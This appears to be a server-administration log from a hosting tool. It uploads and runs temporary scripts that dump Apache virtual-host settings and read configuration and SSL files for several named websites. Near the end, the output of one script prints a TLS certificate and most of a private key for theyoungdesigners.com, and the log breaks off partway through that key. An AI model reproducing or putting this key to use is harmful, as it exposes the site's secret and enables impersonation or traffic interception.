MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-09-17 14:03:05: Establishing a connection
2025-09-17 14:03:05:
PUT: /tmp/pkp513058
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-17 14:03:05:
chmod 755 /tmp/pkp513058; /tmp/pkp513058; rm /tmp/pkp513058
2025-09-17 14:03:05:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-17 14:03:05:
PUT: /tmp/pkp769306
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/theyoungdesigners_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-17 14:03:05:
chmod 755 /tmp/pkp769306; /tmp/pkp769306; rm /tmp/pkp769306
2025-09-17 14:03:05:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_www_com.conf 1481
<VirtualHost *:80>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-17 14:03:05:
PUT: /tmp/pkp431243
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-17 14:03:05:
chmod 755 /tmp/pkp431243; /tmp/pkp431243; rm /tmp/pkp431243
2025-09-17 14:03:05:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt 5357
e9:36:23:49:19:ab:0a:b6:1b:d6:79:d5:04:74:a3:b8
-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBZWaNfSJkCMgl9Goiaa0sKsHMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTAwHhcNMjUwNzI0MDUwMTM3WhcNMjUxMDIyMDUwMTM2WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQD1kJmYK6MMuQafnmiZCuKzSwjgSElOXUBoMsiY4F/y6wlsmXar9gND
rBdfMzJuctjnQEg+54PzbJSj1dwomvDVgvIWR+Z/y6ke7pzqJrpFfrziQAPnC3hu
yh7fzB418EuHg7+QFcedupnaeAjMM6vSR6HHBCyYTqnXvmqC62l9x8O38BzOqEKa
GKkuQsv9vizdxMkFKWrAhon7H1FS8fosyeBUDFIzqyGHGZMqp14tVdYlsk4waxXP
j67GXkSlRgokxfWKhGQd/C203fgIv2ctFSxVUfVXom9pyWJC+wf/MVJom5LDwtLP
Xb3vJJB+iu+s1hi7hZ/+6/hqDAG4bPfHAgMBAAGjggIiMIICHjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFGqhqhUFha/e1VSoZuka58kQfizlMB8GA1UdIwQYMBaAFLu8
w0el5LypxsOkcgwQjaI14cjoMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMC5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVdGhleW91bmdkZXNp
Z25lcnMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6G
HGh0dHA6Ly9yMTAuYy5sZW5jci5vcmcvOC5jcmwwggECBgorBgEEAdZ5AgQCBIHz
BIHwAO4AdQAS8U40vVNyTIQGGcOPP3oT+Oe1YoeInG0wBYTr5YYmOgAAAZg7BIEH
AAAEAwBGMEQCIFvYjX9fdyp0/IzTpi0/ymCgxg76dyG6n4P703SKf2G1AiAU4NxQ
5tU7RAu3g2N33E5+jA67irqS6A3PM74jnvQx2gB1ABoE/0nQVB1Ar/agw7/x2MRn
L07s7iNAaJhrF0Au3Il9AAABmDsEiP4AAAQDAEYwRAIgUPhisPJaBexQ9m2EEs4y
Ea6DjW7qxIpGtFUFpLEtXbICIHPmsfUF8dCxNYYI2JhU0JniKn5Kli4FKP3n9wkH
3inXMA0GCSqGSIb3DQEBCwUAA4IBAQAdf0WR0mXQR5VPnDNT8QxuKGSwy6IaMTTM
bXCQQmWxSbIaLn5XRIH2eP2htB8m08GbbbCraCNIhm74psab5A7in6tSmlgaBc/h
/sldoZEIzFX4+BqwVB+A4cXRKSNoMisn8o507KYsvB3O8on1RJhJX+ynVfadp6Eo
/e/oHkjaPLUwK2eaUCyM5au0WJBtHVy3pD39fPfx1JluExoZ4Xh0PWi8Xh0vNNxw
KQ0qn6YawLkIa8z/zy5NoYDJ2aNnC7uJGrcHxIzc4l7HUrbhcIl/KlQulVgF5NK2
MvwO8l0AMvrcpXJGL8q0q5x7Wg51SoBbZ2XmuYMbzLzKk0wi6QNl
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQD1kJmYK6MMuQaf
nmiZCuKzSwjgSElOXUBoMsiY4F/y6wlsmXar9gNDrBdfMzJuctjnQEg+54PzbJSj
1dwomvDVgvIWR+Z/y6ke7pzqJrpFfrziQAPnC3huyh7fzB418EuHg7+QFcedupna
eAjMM6vSR6HHBCyYTqnXvmqC62l9x8O38BzOqEKaGKkuQsv9vizdxMkFKWrAhon7
H1FS8fosyeBUDFIzqyGHGZMqp14tVdYlsk4waxXPj67GXkSlRgokxfWKhGQd/C20
3fgIv2ctFSxVUfVXom9pyWJC+wf/MVJom5LDwtLPXb3vJJB+iu+s1hi7hZ/+6/hq
DAG4bPfHAgMBAAECggEALISHY8/dYkwUyFEmc0BG8uwSct6H853yNDGorhZXLqmv
brGvkuMpmlYTcp3Mcbt+WQYNUuITyMiRddYqcG4OZRa1HpbwUZCxWzs01ToqILkm
MvoZ+wPYVHVt/XJ6s5qZhrq6urtIEe8nPzTtm19usdNsn7DBCOeR4NvTYWKeIEAA
8aZpAtqjYk657T+hM0aH/hofpw59DWjvaiPeecHXSlDiGJKEAVO2GOnYlvAOODfr
/zWdf7wLlI/c6qOB7sk3JE609yOOcqs1gnSO8FVFp/cnGvSiTOZA7wnFcjhhTXh6
Tdxrf9KYKijx20l8Vy2r+5yfUbsYXj5i4biP4q+30QKBgQD68VtPKL9g++chqFbV
b9Y7GNiyR01Ch3LFFzmEg0KaiMWpKOWueXI0vjbRESG2gopEIIwJYLmOqYQjpUCw
9qW5fn37IAyykAEG7FJ9+pQW5Fnob9JUCyPVX0zhkdv+29J7e16q7a++/rRf2J0O
4k2VvjuKFxnHeUzwnU25CJUT2QKBgQD6g39vnHrK4xOuhhUFo6cai0gOh0G/uN9v
aWAQ6GoIyASNJyFIkMAfjrtLd259EBWqeR+0B4gWFBC52qBKTulGVruddyXCWz7I
oVPri7gUmAHPAGqYPNFjkFe7qo2aimQ1qV7rqpc0NJ2lRjoeEgPsz9fWn4rvnPC7
6K4h1RBEnwKBgQDy9ZOORMlmQP47HB1WcP1eImRL17T54OJB6IaLwfpOXHXjnfEi
